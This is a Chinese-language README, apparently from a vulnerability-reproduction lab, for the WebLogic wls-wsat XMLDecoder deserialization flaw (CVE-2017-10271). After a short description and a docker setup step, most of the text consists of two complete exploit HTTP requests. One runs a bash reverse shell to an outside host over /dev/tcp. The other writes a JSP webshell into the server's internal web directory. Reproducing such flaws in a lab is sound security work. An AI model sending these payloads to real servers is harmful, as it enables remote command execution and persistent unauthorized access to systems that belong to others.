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weblogic/CVE-2017-10271/README.zh-cn.md
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weblogic/CVE-2017-10271/README.zh-cn.md
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# Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
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Oracle Weblogic 是 Oracle 公司开发的一款企业级应用服务器,提供了广泛的企业级应用开发和部署功能。
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Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
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参考链接:
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- https://www.exploit-db.com/exploits/43458/
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- https://paper.seebug.org/487/
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- https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
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- http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
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## 环境搭建
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启动测试环境:
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```
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docker compose up -d
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```
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等待一段时间,访问`http://your-ip:7001/`即可看到一个404页面,说明weblogic已成功启动。
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## 漏洞复现
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发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):
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```
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POST /wls-wsat/CoordinatorPortType HTTP/1.1
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Host: your-ip:7001
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: text/xml
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Content-Length: 633
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.4.0" class="java.beans.XMLDecoder">
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<void class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3">
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<void index="0">
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<string>/bin/bash</string>
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</void>
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<void index="1">
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<string>-c</string>
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</void>
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<void index="2">
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<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
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</void>
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</array>
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<void method="start"/></void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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成功获取shell:
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写入webshell(访问:`http://your-ip:7001/bea_wls_internal/test.jsp`):
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```
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POST /wls-wsat/CoordinatorPortType HTTP/1.1
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Host: your-ip:7001
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: text/xml
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Content-Length: 638
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java><java version="1.4.0" class="java.beans.XMLDecoder">
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<object class="java.io.PrintWriter">
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<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
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<void method="println"><string>
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<![CDATA[
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<% out.print("test"); %>
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]]>
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</string>
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</void>
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<void method="close"/>
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</object></java></java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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